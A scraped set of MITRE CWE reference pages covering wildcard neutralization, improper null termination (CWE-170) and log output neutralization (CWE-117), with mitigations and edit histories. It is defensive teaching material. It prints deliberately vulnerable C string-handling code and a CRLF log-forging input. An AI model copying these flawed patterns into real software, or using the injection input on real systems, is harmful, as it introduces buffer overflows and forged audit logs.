For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as wildcards or matching symbols when they are sent to a downstream component.
+ Extended Description
As data is parsed, an injected element may cause the process to take unexpected actions.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.56Path Equivalence: 'filedir*' (Wildcard)
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Bypass file restrictions using wildcard character.
Bypass file restrictions using wildcard character.
Wildcards generate long string on expansion.
SQL injection involving "/**/" sequences.
+ Potential Mitigations
Developers should anticipate that wildcard or matching elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Under-studied.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERWildcard or Matching Element
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-03-10CWE Content TeamMITRE
updated Description, Name
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Wildcard or Matching Element
2008-04-11Failure to Remove Wildcard or Matching Element
2009-03-10Failure to Sanitize Wildcard or Matching Symbol
2010-04-05Improper Sanitization of Wildcards or Matching Symbols

CWE-170: Improper Null Termination

Weakness ID: 170
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.
+ Extended Description
Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.707Improper Neutralization
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.463Deletion of Data Structure Sentinel
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.464Addition of Data Structure Sentinel
CanAlsoBeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.147Improper Neutralization of Input Terminators
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.193Off-by-one Error
CanFollowPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.126Buffer Over-read
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Read Memory; Execute Unauthorized Code or Commands

The case of an omitted null character is the most dangerous of the possible issues. This will almost certainly result in information disclosure, and possibly a buffer overflow condition, which may be exploited to execute arbitrary code.
Confidentiality
Integrity
Availability

Technical Impact: DoS: Crash, Exit, or Restart; Read Memory; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)

If a null character is omitted from a string, then most string-copying functions will read data until they locate a null character, even outside of the intended boundaries of the string. This could: cause a crash due to a segmentation fault cause sensitive adjacent memory to be copied and sent to an outsider trigger a buffer overflow when the copy is being written to a fixed-size buffer.
Integrity
Availability

Technical Impact: Modify Memory; DoS: Crash, Exit, or Restart

Misplaced null characters may result in any number of security problems. The biggest issue is a subset of buffer overflow, and write-what-where conditions, where data corruption occurs from the writing of a null character over valid data, or even instructions. A randomly placed null character may put the system into an undefined state, and therefore make it prone to crashing. A misplaced null character may corrupt other data in memory.
Integrity
Confidentiality
Availability
Access Control
Other

Technical Impact: Alter Execution Logic; Execute Unauthorized Code or Commands

Should the null character corrupt the process flow, or affect a flag controlling access, it may lead to logical errors which allow for the execution of arbitrary code.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following code reads from cfgfile and copies the input into inputbuf using strcpy(). The code mistakenly assumes that inputbuf will always contain a NULL terminator.

(bad code)
Example Language:
#define MAXLEN 1024
...
char *pathbuf[MAXLEN];
...
read(cfgfile,inputbuf,MAXLEN); //does not null terminate
strcpy(pathbuf,inputbuf); //requires null terminated input
...

The code above will behave correctly if the data read from cfgfile is null terminated on disk as expected. But if an attacker is able to modify this input so that it does not contain the expected NULL character, the call to strcpy() will continue copying from memory until it encounters an arbitrary NULL character. This will likely overflow the destination buffer and, if the attacker can control the contents of memory immediately following inputbuf, can leave the application susceptible to a buffer overflow attack.

Example 2

In the following code, readlink() expands the name of a symbolic link stored in pathname and puts the absolute path into buf. The length of the resulting value is then calculated using strlen().

(bad code)
Example Language:
char buf[MAXPATH];
...
readlink(pathname, buf, MAXPATH);
int length = strlen(buf);
...

The code above will not always behave correctly as readlink() does not append a NULL byte to buf. Readlink() will stop copying characters once the maximum size of buf has been reached to avoid overflowing the buffer, this will leave the value buf not NULL terminated. In this situation, strlen() will continue traversing memory until it encounters an arbitrary NULL character further on down the stack, resulting in a length value that is much larger than the size of string. Readlink() does return the number of bytes copied, but when this return value is the same as stated buf size (in this case MAXPATH), it is impossible to know whether the pathname is precisely that many bytes long, or whether readlink() has truncated the name to avoid overrunning the buffer. In testing, vulnerabilities like this one might not be caught because the unused contents of buf and the memory immediately following it may be NULL, thereby causing strlen() to appear as if it is behaving correctly.

Example 3

While the following example is not exploitable, it provides a good example of how nulls can be omitted or misplaced, even when "safe" functions are used:

(bad code)
Example Language:
#include <stdio.h>
#include <string.h>

int main() {

char longString[] = "String signifying nothing";
char shortString[16];

strncpy(shortString, longString, 16);
printf("The last character in shortString is: %c (%1$x)\n", shortString[15]);
return (0);
}

The above code gives the following output: "The last character in shortString is: n (6e)". So, the shortString array does not end in a NULL character, even though the "safe" string function strncpy() was used. The reason is that strncpy() does not impliciitly add a NULL character at the end of the string when the source is equal in length or longer than the provided size.

+ Observed Examples
ReferenceDescription
Attacker does not null-terminate argv[] when invoking another program.
Interrupted step causes resultant lack of null termination.
Fault causes resultant lack of null termination, leading to buffer expansion.
Multiple vulnerabilities related to improper null termination.
Product does not null terminate a message buffer after snprintf-like call, leading to overflow.
Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122).
+ Potential Mitigations

Phase: Requirements

Use a language that is not susceptible to these issues. However, be careful of null byte interaction errors (CWE-626) with lower-level constructs that may be written in a language that is susceptible.

Phase: Implementation

Ensure that all string functions used are understood fully as to how they append null characters. Also, be wary of off-by-one errors when appending nulls to the end of strings.

Phase: Implementation

If performance constraints permit, special code can be added that validates null-termination of string buffers, this is a rather naive and error-prone solution.

Phase: Implementation

Switch to bounded string manipulation functions. Inspect buffer lengths involved in the buffer overrun trace reported with the defect.

Phase: Implementation

Add code that fills buffers with nulls (however, the length of buffers still needs to be inspected, to ensure that the non null-terminated string is not written at the physical end of the buffer).
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.730OWASP Top Ten 2004 Category A9 - Denial of Service
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.741CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.748CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.973SFP Secondary Cluster: Improper NULL Termination
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1161SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1171SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Factors: this is usually resultant from other weaknesses such as off-by-one errors, but it can be primary to boundary condition violations such as buffer overflows. In buffer overflows, it can act as an expander for assumed-immutable data.

Relationship

Overlaps missing input terminator.

Applicable Platform

Conceptually, this does not just apply to the C language; any language or representation that involves a terminator could have this type of problem.

Maintenance

As currently described, this entry is more like a category than a weakness.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERImproper Null Termination
7 Pernicious KingdomsString Termination Error
CLASPMiscalculated null termination
OWASP Top Ten 2004A9CWE More SpecificDenial of Service
CERT C Secure CodingPOS30-CCWE More AbstractUse the readlink() function properly
CERT C Secure CodingSTR03-CDo not inadvertently truncate a null-terminated byte string
CERT C Secure CodingSTR32-CExactDo not pass a non-null-terminated character sequence to a library function that expects a string
Software Fault PatternsSFP11Improper Null Termination
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Common_Consequences, Description, Likelihood_of_Exploit, Maintenance_Notes, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Common_Consequences
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated Common_Consequences, Other_Notes, Potential_Mitigations, White_Box_Definitions
2009-10-29CWE Content TeamMITRE
updated Description
2011-03-29CWE Content TeamMITRE
updated Common_Consequences
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Observed_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Observed_Examples, Relationships, Taxonomy_Mappings, White_Box_Definitions
2018-03-27CWE Content TeamMITRE
updated Demonstrative_Examples
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-117: Improper Output Neutralization for Logs

Weakness ID: 117
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not neutralize or incorrectly neutralizes output that is written to logs.
+ Extended Description

This can allow an attacker to forge log entries or inject malicious content into logs.

Log forging vulnerabilities occur when:

  1. Data enters an application from an untrusted source.
  2. The data is written to an application or system log file.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.116Improper Encoding or Escaping of Output
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.93Improper Neutralization of CRLF Sequences ('CRLF Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1210Audit / Logging Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1009Audit
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Background Details
Applications typically use log files to store a history of events or transactions for later review, statistics gathering, or debugging. Depending on the nature of the application, the task of reviewing log files may be performed manually on an as-needed basis or automated with a tool that automatically culls logs for important events or trending information.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability
Non-Repudiation

Technical Impact: Modify Application Data; Hide Activities; Execute Unauthorized Code or Commands

Interpretation of the log files may be hindered or misdirected if an attacker can supply data to the application that is subsequently logged verbatim. In the most benign case, an attacker may be able to insert false entries into the log file by providing the application with input that includes appropriate characters. Forged or otherwise corrupted log files can be used to cover an attacker's tracks, possibly by skewing statistics, or even to implicate another party in the commission of a malicious act. If the log file is processed automatically, the attacker can render the file unusable by corrupting the format of the file or injecting unexpected characters. An attacker may inject code or other commands into the log file and take advantage of a vulnerability in the log processing utility.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following web application code attempts to read an integer value from a request object. If the parseInt call fails, then the input is logged with an error message indicating what happened.

(bad code)
Example Language: Java 
String val = request.getParameter("val");
try {

int value = Integer.parseInt(val);
}
catch (NumberFormatException) {
log.info("Failed to parse val = " + val);
}
...

If a user submits the string "twenty-one" for val, the following entry is logged:

  • INFO: Failed to parse val=twenty-one

However, if an attacker submits the string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:

  • INFO: Failed to parse val=twenty-one
  • INFO: User logged out=badguy

Clearly, attackers can use this same mechanism to insert arbitrary log entries.

+ Observed Examples
ReferenceDescription
Chain: inject fake log entries with fake timestamps using CRLF injection
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.727OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1134SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1355OWASP Top Ten 2021 Category A09:2021 - Security Logging and Monitoring Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

